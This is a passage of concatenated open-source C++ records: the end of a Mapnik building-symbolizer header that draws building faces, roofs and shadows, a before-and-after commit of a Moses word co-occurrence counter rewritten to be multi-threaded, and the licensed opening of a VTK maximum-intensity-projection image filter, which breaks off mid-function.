shadow_length,\n F1 const & face_func,\n F2 const & frame_func,\n F3 const & roof_func,\n F4 const & shadow_func)\n {\n auto const& geom = feature.get_geometry();\n if (geom.is<geometry::polygon<double>>())\n {\n auto const& poly = geom.get<geometry::polygon<double>>();\n vertex_adapter_type va(poly);\n transform_path_type transformed(view_trans, va, prj_trans);\n make_building(transformed, height, shadow_angle, shadow_length,\n face_func, frame_func, roof_func, shadow_func);\n }\n else if (geom.is<geometry::multi_polygon<double>>())\n {\n auto const& multi_poly = geom.get<geometry::multi_polygon<double>>();\n for (auto const& poly : multi_poly)\n {\n vertex_adapter_type va(poly);\n transform_path_type transformed(view_trans, va, prj_trans);\n make_building(transformed, height, shadow_angle, shadow_length,\n face_func, frame_func, roof_func, shadow_func);\n }\n }\n }\n\nprivate:\n template <typename GeomVertexAdapter, typename F1, typename F2, typename F3, typename F4>\n static void make_building(GeomVertexAdapter & geom,\n double height,\n double shadow_angle,\n double shadow_length,\n F1 const& face_func,\n F2 const& frame_func,\n F3 const& roof_func,\n F4 const& shadow_func)\n {\n path_type frame(path_type::types::LineString);\n path_type roof(path_type::types::Polygon);\n std::deque<segment_t> face_segments;\n double ring_begin_x, ring_begin_y;\n double x0 = 0;\n double y0 = 0;\n double x,y;\n geom.rewind(0);\n for (unsigned cm = geom.vertex(&x, &y); cm != SEG_END;\n cm = geom.vertex(&x, &y))\n {\n if (cm == SEG_MOVETO)\n {\n frame.move_to(x,y);\n ring_begin_x = x;\n ring_begin_y = y;\n }\n else if (cm == SEG_LINETO)\n {\n frame.line_to(x,y);\n face_segments.emplace_back(x0,y0,x,y);\n }\n else if (cm == SEG_CLOSE)\n {\n frame.close_path();\n if (!face_segments.empty())\n {\n face_segments.emplace_back(x0, y0, ring_begin_x, ring_begin_y);\n }\n }\n x0 = x;\n y0 = y;\n }\n\n if (shadow_length > 0)\n {\n shadow_angle = util::normalize_angle(shadow_angle * (M_PI \/ 180.0));\n for (auto const& seg : face_segments)\n {\n double dx = std::get<2>(seg) - std::get<0>(seg);\n double dy = std::get<3>(seg) - std::get<1>(seg);\n double seg_normal_angle = std::atan2(-dx, -dy);\n\n double angle_diff = std::abs(seg_normal_angle - shadow_angle);\n double min_angle_diff = std::min((2 * M_PI) - angle_diff, angle_diff);\n\n if (min_angle_diff <= (M_PI \/ 2.0))\n {\n path_type shadow(path_type::types::Polygon);\n shadow.move_to(std::get<0>(seg), std::get<1>(seg));\n shadow.line_to(std::get<2>(seg), std::get<3>(seg));\n shadow.line_to(std::get<2>(seg) + shadow_length * std::cos(shadow_angle),\n std::get<3>(seg) - shadow_length * std::sin(shadow_angle));\n shadow.line_to(std::get<0>(seg) + shadow_length * std::cos(shadow_angle),\n std::get<1>(seg) - shadow_length * std::sin(shadow_angle));\n shadow_func(shadow);\n }\n }\n }\n\n for (auto const& seg : face_segments)\n {\n path_type faces(path_type::types::Polygon);\n faces.move_to(std::get<0>(seg),std::get<1>(seg));\n faces.line_to(std::get<2>(seg),std::get<3>(seg));\n faces.line_to(std::get<2>(seg),std::get<3>(seg) - height);\n faces.line_to(std::get<0>(seg),std::get<1>(seg) - height);\n\n face_func(faces);\n\n frame.move_to(std::get<0>(seg),std::get<1>(seg));\n frame.line_to(std::get<0>(seg),std::get<1>(seg) - height);\n }\n\n geom.rewind(0);\n for (unsigned cm = geom.vertex(&x, &y); cm != SEG_END;\n cm = geom.vertex(&x, &y))\n {\n if (cm == SEG_MOVETO)\n {\n frame.move_to(x,y - height);\n roof.move_to(x,y - height);\n }\n else if (cm == SEG_LINETO)\n {\n frame.line_to(x,y - height);\n roof.line_to(x,y - height);\n }\n else if (cm == SEG_CLOSE)\n {\n frame.close_path();\n roof.close_path();\n }\n }\n\n frame_func(frame);\n roof_func(roof);\n }\n};\n\n} \/\/ namespace mapnik\n\n#endif \/\/ MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/ -*- c++ -*-\n\/\/ Program to extract word cooccurrence counts from a memory-mapped word-aligned bitext\n\/\/ stores the counts lexicon in the format for mm2dTable<uint32_t> (ug_mm_2d_table.h)\n\/\/ (c) 2010-2012 Ulrich Germann\n\n#include <queue>\n#include <iomanip>\n#include <vector>\n#include <iterator>\n#include <sstream>\n\n#include <boost\/program_options.hpp>\n#include <boost\/dynamic_bitset.hpp>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/foreach.hpp>\n#include <boost\/math\/distributions\/binomial.hpp>\n#include <boost\/unordered_map.hpp> \n#include <boost\/unordered_set.hpp> \n\n#include \"moses\/TranslationModel\/UG\/generic\/program_options\/ug_get_options.h\"\n\/\/ #include \"ug_translation_finder.h\"\n\/\/ #include \"ug_sorters.h\"\n\/\/ #include \"ug_corpus_sampling.h\"\n#include \"ug_mm_2d_table.h\"\n#include \"ug_mm_ttrack.h\"\n#include \"ug_corpus_token.h\"\n\nusing namespace std;\nusing namespace ugdiss;\nusing namespace boost::math;\n\ntypedef mm2dTable<id_type,id_type,uint32_t,uint32_t> LEX_t;\ntypedef SimpleWordId Token;\n\nid_type first_rare_id=500;\nvector<vector<uint32_t> > JFREQ; \/\/ joint count table for frequent L1 words\nvector<map<id_type,uint32_t> > JRARE; \/\/ joint count table for rare L1 words\nvector<vector<uint32_t> > CFREQ; \/\/ cooc count table for frequent L1 words\nvector<map<id_type,uint32_t> > CRARE; \/\/ cooc count table for rare L1 words\n\nmmTtrack<Token> T1,T2;\nmmTtrack<char> Tx;\nTokenIndex V1,V2;\n\nstring bname,cfgFile,L1,L2,oname,cooc;\n\n\/\/ DECLARATIONS \nvoid interpret_args(int ac, char* av[]);\n\nvoid\nprocessSentence(id_type sid)\n{\n Token const* s1 = T1.sntStart(sid);\n Token const* e1 = T1.sntEnd(sid);\n Token const* s2 = T2.sntStart(sid);\n Token const* e2 = T2.sntEnd(sid);\n char const* p = Tx.sntStart(sid);\n char const* q = Tx.sntEnd(sid);\n ushort r,c;\n bitvector check1(T1.sntLen(sid)), check2(T2.sntLen(sid));\n check1.set();\n check2.set();\n vector<ushort> cnt1(V1.ksize(),0);\n vector<ushort> cnt2(V2.ksize(),0);\n boost::unordered_set<pair<id_type,id_type> > mycoocs;\n\n for (Token const* x = s1; x < e1; ++x) ++cnt1[x->id()];\n for (Token const* x = s2; x < e2; ++x) ++cnt2[x->id()];\n\n \/\/ count links\n while (p < q)\n {\n p = binread(p,r);\n p = binread(p,c);\n check1.reset(r);\n check2.reset(c);\n id_type id1 = (s1+r)->id();\n id_type id2 = (s2+c)->id();\n if (id1 < first_rare_id) \n\tJFREQ[id1][id2]++;\n else \n\tJRARE[id1][id2]++;\n if (cooc.size())\n\tmycoocs.insert(pair<id_type,id_type>(id1,id2));\n }\n \/\/ count unaliged words\n for (size_t i = check1.find_first(); i < check1.size(); i = check1.find_next(i))\n {\n id_type id1 = (s1+i)->id();\n if (id1 < first_rare_id) JFREQ[id1][0]++;\n else JRARE[id1][0]++;\n }\n for (size_t i = check2.find_first(); i < check2.size(); i = check2.find_next(i))\n JFREQ[0][(s2+i)->id()]++;\n\n if (cooc.size())\n {\n typedef boost::unordered_set<pair<id_type,id_type> >::iterator iter;\n for (iter m = mycoocs.begin(); m != mycoocs.end(); ++m)\n\tif (m->first < first_rare_id)\n\t CFREQ[m->first][m->second] += cnt1[m->first] * cnt2[m->second];\n\telse\n\t CRARE[m->first][m->second] += cnt1[m->first] * cnt2[m->second];\n }\n}\n\n\/\/ void\n\/\/ count_coocs(id_type sid)\n\/\/ {\n\/\/ Token const* s1 = T1.sntStart(sid);\n\/\/ Token const* e1 = T1.sntEnd(sid);\n\n\/\/ Token const* s2 = T2.sntStart(sid);\n\/\/ Token const* e2 = T2.sntEnd(sid);\n\n\/\/ for (Token const* x = s1; x < e1; ++x)\n\/\/ {\n\/\/ if (x->id() < first_rare_id)\n\/\/ \t{\n\/\/ \t vector<uint32_t>& v = CFREQ[x->id()];\n\/\/ \t for (Token const* y = s2; y < e2; ++y) \n\/\/ \t ++v[y->id()];\n\/\/ \t}\n\/\/ else\n\/\/ \t{\n\/\/ \t map<id_type,uint32_t>& m = CRARE[x->id()]; \n\/\/ \t for (Token const* y = s2; y < e2; ++y) \n\/\/ \t ++m[y->id()];\n\/\/ \t}\n\/\/ }\n\/\/ }\n\n\nvoid\nwriteTable(string ofname, vector<vector<uint32_t> >& FREQ,\n\t vector<map<id_type,uint32_t> >& RARE)\n{\n ofstream out(ofname.c_str());\n filepos_type idxOffset=0;\n\n vector<uint32_t> m1; \/\/ marginals L1\n vector<uint32_t> m2; \/\/ marginals L2\n m1.resize(max(first_rare_id,V1.getNumTokens()),0);\n m2.resize(V2.getNumTokens(),0);\n vector<id_type> index(V1.getNumTokens()+1,0);\n numwrite(out,idxOffset); \/\/ blank for the time being\n numwrite(out,id_type(m1.size()));\n numwrite(out,id_type(m2.size()));\n\n id_type cellCount=0;\n id_type stop = min(first_rare_id,id_type(m1.size()));\n for (id_type id1 = 0; id1 < stop; ++id1)\n {\n index[id1] = cellCount;\n vector<uint32_t> const& v = FREQ[id1];\n for (id_type id2 = 0; id2 < id_type(v.size()); ++id2)\n {\n if (!v[id2]) continue;\n cellCount++;\n numwrite(out,id2);\n out.write(reinterpret_cast<char const*>(&v[id2]),sizeof(uint32_t));\n m1[id1] += v[id2];\n m2[id2] += v[id2];\n }\n }\n for (id_type id1 = stop; id1 < id_type(m1.size()); ++id1)\n {\n index[id1] = cellCount;\n map<id_type,uint32_t> const& M = RARE[id1];\n for (map<id_type,uint32_t>::const_iterator m = M.begin(); m != M.end(); ++m)\n {\n if (m->second == 0) continue;\n cellCount++;\n numwrite(out,m->first);\n out.write(reinterpret_cast<char const*>(&m->second),sizeof(float));\n m1[id1] += m->second;\n m2[m->first] += m->second;\n }\n }\n index[m1.size()] = cellCount;\n idxOffset = out.tellp();\n for (size_t i = 0; i < index.size(); ++i)\n numwrite(out,index[i]);\n out.write(reinterpret_cast<char const*>(&m1[0]),m1.size()*sizeof(float));\n out.write(reinterpret_cast<char const*>(&m2[0]),m2.size()*sizeof(float));\n \n \/\/ re-write the file header\n out.seekp(0);\n numwrite(out,idxOffset);\n out.close();\n}\n\nint \nmain(int argc, char* argv[])\n{\n interpret_args(argc,argv);\n char c = *bname.rbegin();\n if (c != '\/' && c != '.') bname += '.';\n T1.open(bname+L1+\".mct\");\n T2.open(bname+L2+\".mct\");\n Tx.open(bname+L1+\"-\"+L2+\".mam\");\n V1.open(bname+L1+\".tdx\");\n V2.open(bname+L2+\".tdx\");\n\n JFREQ.resize(first_rare_id,vector<uint32_t>(V2.ksize(),0));\n JRARE.resize(V1.ksize());\n\n CFREQ.resize(first_rare_id,vector<uint32_t>(V2.ksize(),0));\n CRARE.resize(V1.ksize());\n\n for (size_t sid = 0; sid < T1.size(); ++sid)\n {\n if (sid%10000 == 0) cerr << sid << endl; \n processSentence(sid);\n }\n \n if (oname.size()) writeTable(oname,JFREQ,JRARE);\n if (cooc.size()) writeTable(cooc,CFREQ,CRARE);\n exit(0);\n}\n\nvoid \ninterpret_args(int ac, char* av[])\n{\n namespace po=boost::program_options;\n po::variables_map vm;\n po::options_description o(\"Options\");\n po::options_description h(\"Hidden Options\");\n po::positional_options_description a;\n\n o.add_options()\n (\"help,h\", \"print this message\")\n (\"cfg,f\", po::value<string>(&cfgFile),\"config file\")\n (\"oname,o\", po::value<string>(&oname),\"output file name\")\n (\"cooc,c\", po::value<string>(&cooc),\n \"file name for raw co-occurrence counts\")\n ;\n \n h.add_options()\n (\"bname\", po::value<string>(&bname), \"base name\")\n (\"L1\", po::value<string>(&L1),\"L1 tag\")\n (\"L2\", po::value<string>(&L2),\"L2 tag\")\n ;\n a.add(\"bname\",1);\n a.add(\"L1\",1);\n a.add(\"L2\",1);\n get_options(ac,av,h.add(o),a,vm,\"cfg\");\n\n if (vm.count(\"help\") || bname.empty() || (oname.empty() && cooc.empty()))\n {\n cout << \"usage:\\n\\t\" << av[0] << \" <basename> <L1 tag> <L2 tag> [-o <output file>] [-c <output file>]\\n\" << endl;\n cout << \"at least one of -o \/ -c must be specified.\" << endl;\n cout << o << endl;\n exit(0);\n }\n}\n\n\n<commit_msg>Completely rewritten. Now multi-threaded.<commit_after>\/\/ -*- c++ -*-\n\/\/ Program to extract word cooccurrence counts from a memory-mapped\n\/\/ word-aligned bitext stores the counts lexicon in the format for\n\/\/ mm2dTable<uint32_t> (ug_mm_2d_table.h) \n\/\/ \n\/\/ (c) 2010-2012 Ulrich Germann\n\n\/\/ to do: multi-threading\n\n#include <queue>\n#include <iomanip>\n#include <vector>\n#include <iterator>\n#include <sstream>\n#include <algorithm>\n\n#include <boost\/program_options.hpp>\n#include <boost\/dynamic_bitset.hpp>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/foreach.hpp>\n#include <boost\/thread.hpp>\n#include <boost\/math\/distributions\/binomial.hpp>\n#include <boost\/unordered_map.hpp> \n#include <boost\/unordered_set.hpp> \n\n#include \"moses\/TranslationModel\/UG\/generic\/program_options\/ug_get_options.h\"\n#include \"ug_mm_2d_table.h\"\n#include \"ug_mm_ttrack.h\"\n#include \"ug_corpus_token.h\"\n\nusing namespace std;\nusing namespace ugdiss;\nusing namespace boost::math;\n\ntypedef mm2dTable<id_type,id_type,uint32_t,uint32_t> LEX_t;\ntypedef SimpleWordId Token;\n\n\/\/ DECLARATIONS \nvoid interpret_args(int ac, char* av[]);\n\nmmTtrack<Token> T1,T2;\nmmTtrack<char> Tx;\nTokenIndex V1,V2;\n\ntypedef pair<id_type,id_type> wpair;\nstruct Count\n{\n uint32_t a;\n uint32_t c;\n Count() : a(0), c(0) {};\n Count(uint32_t ax, uint32_t cx) : a(ax), c(cx) {}\n};\n\nbool \noperator<(pair<id_type,Count> const& a,\n\t pair<id_type,Count> const& b)\n{\n return a.first < b.first;\n}\n\n\ntypedef boost::unordered_map<wpair,Count> countmap_t;\ntypedef vector<vector<pair<id_type,Count> > > countlist_t;\n\nvector<countlist_t> XLEX;\n\nclass Counter\n{\npublic:\n countmap_t CNT;\n countlist_t & LEX;\n size_t offset;\n size_t skip;\n Counter(countlist_t& lex, size_t o, size_t s) \n : LEX(lex), offset(o), skip(s) {}\n void processSentence(id_type sid);\n void operator()();\n};\n\nstring bname,cfgFile,L1,L2,oname,cooc;\nint verbose;\nsize_t truncat;\nsize_t num_threads;\n\nvoid \nCounter::\noperator()()\n{\n for (size_t sid = offset; sid < min(truncat,T1.size()); sid += skip)\n processSentence(sid);\n\n LEX.resize(V1.ksize());\n for (countmap_t::const_iterator c = CNT.begin(); c != CNT.end(); ++c)\n {\n pair<id_type,Count> foo(c->first.second,c->second);\n LEX.at(c->first.first).push_back(foo);\n }\n typedef vector<pair<id_type,Count> > v_t;\n BOOST_FOREACH(v_t& v, LEX)\n sort(v.begin(),v.end());\n}\n\nstruct lexsorter\n{\n vector<countlist_t> const& v;\n id_type wid;\n lexsorter(vector<countlist_t> const& vx, id_type widx) \n : v(vx),wid(widx) {}\n bool operator()(pair<uint32_t,uint32_t> const& a,\n\t\t pair<uint32_t,uint32_t> const& b) const\n {\n return (v.at(a.first).at(wid).at(a.second).first > \n\t v.at(b.first).at(wid).at(b.second).first);\n }\n};\n\nvoid \nwriteTableHeader(ostream& out)\n{\n filepos_type idxOffset=0;\n numwrite(out,idxOffset); \/\/ blank for the time being\n numwrite(out,id_type(V1.ksize()));\n numwrite(out,id_type(V2.ksize()));\n}\n\nvoid writeTable(ostream* aln_out, ostream* coc_out)\n{\n vector<uint32_t> m1a(V1.ksize(),0); \/\/ marginals L1\n vector<uint32_t> m2a(V2.ksize(),0); \/\/ marginals L2\n vector<uint32_t> m1c(V1.ksize(),0); \/\/ marginals L1\n vector<uint32_t> m2c(V2.ksize(),0); \/\/ marginals L2\n vector<id_type> idxa(V1.ksize()+1,0);\n vector<id_type> idxc(V1.ksize()+1,0);\n if (aln_out) writeTableHeader(*aln_out);\n if (coc_out) writeTableHeader(*coc_out);\n size_t CellCountA=0,CellCountC=0;\n for (size_t id1 = 0; id1 < V1.ksize(); ++id1)\n {\n idxa[id1] = CellCountA;\n idxc[id1] = CellCountC;\n lexsorter sorter(XLEX,id1);\n vector<pair<uint32_t,uint32_t> > H; H.reserve(num_threads);\n for (size_t i = 0; i < num_threads; ++i)\n\t{\n\t if (id1 < XLEX.at(i).size() && XLEX[i][id1].size())\n\t H.push_back(pair<uint32_t,uint32_t>(i,0));\n\t}\n if (!H.size()) continue;\n make_heap(H.begin(),H.end(),sorter);\n while (H.size())\n\t{\n\t id_type id2 = XLEX[H[0].first][id1][H[0].second].first;\n\t uint32_t aln = XLEX[H[0].first][id1][H[0].second].second.a;\n\t uint32_t coc = XLEX[H[0].first][id1][H[0].second].second.c;\n\t pop_heap(H.begin(),H.end(),sorter);\n\t ++H.back().second;\n\t if (H.back().second == XLEX[H.back().first][id1].size())\n\t H.pop_back();\n\t else\n\t push_heap(H.begin(),H.end(),sorter);\n\t while (H.size() && \n\t\t XLEX[H[0].first][id1].at(H[0].second).first == id2)\n\t {\n\t aln += XLEX[H[0].first][id1][H[0].second].second.a;\n\t coc += XLEX[H[0].first][id1][H[0].second].second.c;\n\t pop_heap(H.begin(),H.end(),sorter);\n\t ++H.back().second;\n\t if (H.back().second == XLEX[H.back().first][id1].size())\n\t\tH.pop_back();\n\t else\n\t\tpush_heap(H.begin(),H.end(),sorter);\n\t }\n\t if (aln_out)\n\t {\n\t ++CellCountA;\n\t numwrite(*aln_out,id2);\n\t numwrite(*aln_out,aln);\n\t m1a[id1] += aln;\n\t m2a[id2] += aln;\n\t }\t \n\t if (coc_out && coc)\n\t {\n\t ++CellCountC;\n\t numwrite(*coc_out,id2);\n\t numwrite(*coc_out,coc);\n\t m1c[id1] += coc;\n\t m2c[id2] += coc;\n\t }\n\t}\n }\n idxa.back() = CellCountA;\n idxc.back() = CellCountC;\n if (aln_out) \n {\n filepos_type idxOffsetA = aln_out->tellp();\n BOOST_FOREACH(id_type foo, idxa)\n\tnumwrite(*aln_out,foo);\n aln_out->write(reinterpret_cast<char const*>(&m1a[0]),m1a.size()*4);\n aln_out->write(reinterpret_cast<char const*>(&m2a[0]),m2a.size()*4);\n aln_out->seekp(0);\n numwrite(*aln_out,idxOffsetA);\n }\n if (coc_out) \n {\n filepos_type idxOffsetC = coc_out->tellp();\n BOOST_FOREACH(id_type foo, idxc)\n\tnumwrite(*coc_out,foo);\n coc_out->write(reinterpret_cast<char const*>(&m1c[0]),m1c.size()*4);\n coc_out->write(reinterpret_cast<char const*>(&m2c[0]),m2c.size()*4);\n coc_out->seekp(0);\n numwrite(*coc_out,idxOffsetC);\n }\n}\n\nvoid\nCounter::\nprocessSentence(id_type sid)\n{\n Token const* s1 = T1.sntStart(sid);\n Token const* e1 = T1.sntEnd(sid);\n Token const* s2 = T2.sntStart(sid);\n Token const* e2 = T2.sntEnd(sid);\n vector<ushort> cnt1(V1.ksize(),0);\n vector<ushort> cnt2(V2.ksize(),0);\n for (Token const* x = s1; x < e1; ++x) \n ++cnt1.at(x->id());\n for (Token const* x = s2; x < e2; ++x) \n ++cnt2.at(x->id());\n\n boost::unordered_set<wpair> seen;\n bitvector check1(T1.sntLen(sid)); check1.set();\n bitvector check2(T2.sntLen(sid)); check2.set();\n\n \/\/ count links\n char const* p = Tx.sntStart(sid);\n char const* q = Tx.sntEnd(sid);\n ushort r,c;\n \/\/ cout << sid << \" \" << q-p << endl;\n while (p < q)\n {\n p = binread(p,r);\n p = binread(p,c);\n \/\/ cout << sid << \" \" << r << \"-\" << c << endl;\n assert(r < check1.size());\n assert(c < check2.size());\n assert(s1+r < e1);\n assert(s2+c < e2);\n check1.reset(r);\n check2.reset(c);\n id_type id1 = (s1+r)->id();\n id_type id2 = (s2+c)->id();\n wpair k(id1,id2);\n Count& cnt = CNT[k];\n cnt.a++;\n if (seen.insert(k).second) \n\tcnt.c += cnt1[id1] * cnt2[id2];\n }\n \/\/ count unaliged words\n for (size_t i = check1.find_first(); \n i < check1.size(); \n i = check1.find_next(i))\n CNT[wpair((s1+i)->id(),0)].a++;\n for (size_t i = check2.find_first(); \n i < check2.size(); \n i = check2.find_next(i))\n CNT[wpair(0,(s2+i)->id())].a++;\n}\n\n\/\/ void\n\/\/ writeTable(string ofname, \n\/\/ \t vector<vector<uint32_t> >& FREQ,\n\/\/ \t vector<map<id_type,uint32_t> >& RARE)\n\/\/ {\n\/\/ ofstream out(ofname.c_str());\n\/\/ filepos_type idxOffset=0;\n\n\/\/ vector<uint32_t> m1; \/\/ marginals L1\n\/\/ vector<uint32_t> m2; \/\/ marginals L2\n\/\/ m1.resize(max(first_rare_id,V1.getNumTokens()),0);\n\/\/ m2.resize(V2.getNumTokens(),0);\n\/\/ vector<id_type> index(V1.getNumTokens()+1,0);\n\/\/ numwrite(out,idxOffset); \/\/ blank for the time being\n\/\/ numwrite(out,id_type(m1.size()));\n\/\/ numwrite(out,id_type(m2.size()));\n\n\/\/ id_type cellCount=0;\n\/\/ id_type stop = min(first_rare_id,id_type(m1.size()));\n\/\/ for (id_type id1 = 0; id1 < stop; ++id1)\n\/\/ {\n\/\/ index[id1] = cellCount;\n\/\/ vector<uint32_t> const& v = FREQ[id1];\n\/\/ for (id_type id2 = 0; id2 < id_type(v.size()); ++id2)\n\/\/ {\n\/\/ if (!v[id2]) continue;\n\/\/ cellCount++;\n\/\/ numwrite(out,id2);\n\/\/ out.write(reinterpret_cast<char const*>(&v[id2]),sizeof(uint32_t));\n\/\/ m1[id1] += v[id2];\n\/\/ m2[id2] += v[id2];\n\/\/ }\n\/\/ }\n\/\/ for (id_type id1 = stop; id1 < id_type(m1.size()); ++id1)\n\/\/ {\n\/\/ index[id1] = cellCount;\n\/\/ map<id_type,uint32_t> const& M = RARE[id1];\n\/\/ for (map<id_type,uint32_t>::const_iterator m = M.begin(); m != M.end(); ++m)\n\/\/ {\n\/\/ if (m->second == 0) continue;\n\/\/ cellCount++;\n\/\/ numwrite(out,m->first);\n\/\/ out.write(reinterpret_cast<char const*>(&m->second),sizeof(float));\n\/\/ m1[id1] += m->second;\n\/\/ m2[m->first] += m->second;\n\/\/ }\n\/\/ }\n\/\/ index[m1.size()] = cellCount;\n\/\/ idxOffset = out.tellp();\n\/\/ for (size_t i = 0; i < index.size(); ++i)\n\/\/ numwrite(out,index[i]);\n\/\/ out.write(reinterpret_cast<char const*>(&m1[0]),m1.size()*sizeof(float));\n\/\/ out.write(reinterpret_cast<char const*>(&m2[0]),m2.size()*sizeof(float));\n \n\/\/ \/\/ re-write the file header\n\/\/ out.seekp(0);\n\/\/ numwrite(out,idxOffset);\n\/\/ out.close();\n\/\/ }\n\nint \nmain(int argc, char* argv[])\n{\n interpret_args(argc,argv);\n char c = *bname.rbegin();\n if (c != '\/' && c != '.') bname += '.';\n T1.open(bname+L1+\".mct\");\n T2.open(bname+L2+\".mct\");\n Tx.open(bname+L1+\"-\"+L2+\".mam\");\n V1.open(bname+L1+\".tdx\");\n V2.open(bname+L2+\".tdx\");\n if (!truncat) truncat = T1.size();\n XLEX.resize(num_threads);\n vector<boost::shared_ptr<boost::thread> > workers(num_threads);\n for (size_t i = 0; i < num_threads; ++i)\n workers[i].reset(new boost::thread(Counter(XLEX[i],i,num_threads)));\n for (size_t i = 0; i < workers.size(); ++i)\n workers[i]->join();\n \/\/ cerr << \"done counting\" << endl;\n ofstream aln_out,coc_out;\n if (oname.size()) aln_out.open(oname.c_str());\n if (cooc.size()) coc_out.open(cooc.c_str());\n writeTable(oname.size() ? &aln_out : NULL,\n\t cooc.size() ? &coc_out : NULL);\n if (oname.size()) aln_out.close();\n if (cooc.size()) coc_out.close();\n}\n\nvoid \ninterpret_args(int ac, char* av[])\n{\n namespace po=boost::program_options;\n po::variables_map vm;\n po::options_description o(\"Options\");\n po::options_description h(\"Hidden Options\");\n po::positional_options_description a;\n\n o.add_options()\n (\"help,h\", \"print this message\")\n (\"cfg,f\", po::value<string>(&cfgFile),\"config file\")\n (\"oname,o\", po::value<string>(&oname),\"output file name\")\n (\"cooc,c\", po::value<string>(&cooc),\n \"file name for raw co-occurrence counts\")\n (\"verbose,v\", po::value<int>(&verbose)->default_value(0)->implicit_value(1),\n \"verbosity level\")\n (\"threads,t\", po::value<size_t>(&num_threads)->default_value(4),\n \"count in <N> parallel threads\")\n (\"truncate,n\", po::value<size_t>(&truncat)->default_value(0),\n \"truncate corpus to <N> sentences (for debugging)\")\n ;\n \n h.add_options()\n (\"bname\", po::value<string>(&bname), \"base name\")\n (\"L1\", po::value<string>(&L1),\"L1 tag\")\n (\"L2\", po::value<string>(&L2),\"L2 tag\")\n ;\n a.add(\"bname\",1);\n a.add(\"L1\",1);\n a.add(\"L2\",1);\n get_options(ac,av,h.add(o),a,vm,\"cfg\");\n\n if (vm.count(\"help\") || bname.empty() || (oname.empty() && cooc.empty()))\n {\n cout << \"usage:\\n\\t\" << av[0] << \" <basename> <L1 tag> <L2 tag> [-o <output file>] [-c <output file>]\\n\" << endl;\n cout << \"at least one of -o \/ -c must be specified.\" << endl;\n cout << o << endl;\n exit(0);\n }\n num_threads = min(num_threads,24UL);\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkImageMIPFilter.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n Thanks: Thanks to Abdalmajeid M. Alyassin who developed this class.\n\nCopyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n#include \"vtkImageMIPFilter.h\"\n#include <math.h>\n#include <stdlib.h>\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ Constructor sets default values\nvtkImageMIPFilter::vtkImageMIPFilter()\n{\n this->ProjectionRange[0] = 0;\n this->ProjectionRange[1] = 0;\n this->MinMaxIP = 1;\n this->MIPX = 0; this->MIPY = 0; this->MIPZ = 1;\n this->SetAxes(VTK_IMAGE_X_AXIS, VTK_IMAGE_Y_AXIS,VTK_IMAGE_Z_AXIS);\n\n this->ExecuteDimensionality = 3;\n \/\/ Input is 3D, output is 2D\n this->Dimensionality = 3;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageMIPFilter::PrintSelf(ostream& os, vtkIndent indent)\n{\n vtkImageFilter::PrintSelf(os,indent);\n os << indent << \"MinMaxIP : (\" << this->MinMaxIP << \")\\n\";\n\n os << indent << \"MIP Direction: x-y, x-z, or y-z plane : (\"\n << this->GetMIPX() << \", \" << this->GetMIPY() << \", \"\n << this->GetMIPZ() << \")\\n\";\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This templated function executes the filter for any type of data.\ntemplate <class T>\nvoid vtkImageMIPFilterExecute(vtkImageMIPFilter *self,\n\t\t\t\t vtkImageRegion *inRegion, T *inPtr,\n\t\t\t\t vtkImageRegion *outRegion, T *outPtr)\n{\n int min0, max0, min1, max1;\n int idx0, idx1,idx2;\n int inInc0, inInc1, inInc2;\n int outInc0, outInc1;\n T *inPtr0, *inPtr1, *inPtr2;\n T *outPtr0, *outPtr1,startvalue;\n int prorange[2], minmaxip;\n int defmin;\n int mipx,mipy,mipz;\n int mipflag(int m1,int m2, int m3);\n\n \/\/ Get information to march through data \n inRegion->GetIncrements(inInc0, inInc1, inInc2);\n outRegion->GetIncrements(outInc0, outInc1);\n outRegion->GetExtent(min0, max0, min1, max1);\n self->GetProjectionRange(prorange[0],prorange[1]);\n minmaxip = self->GetMinMaxIP();\n mipx = self->GetMIPX();\n mipy = self->GetMIPY();\n mipz = self->GetMIPZ();\n if (!mipflag(mipx,mipy,mipz)){ return;}\n\n\n \/\/ Loop first through projection range then along the other two axes\n\tinPtr1 = inPtr ;\n outPtr1 = outPtr;\n \n if ( minmaxip == 1) {\n if (mipz) {\n cout << \" MIPZ is on !!!\" << endl;\n\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t inPtr0 = inPtr1;\n \t for (idx0 = min0; idx0 <= max0; 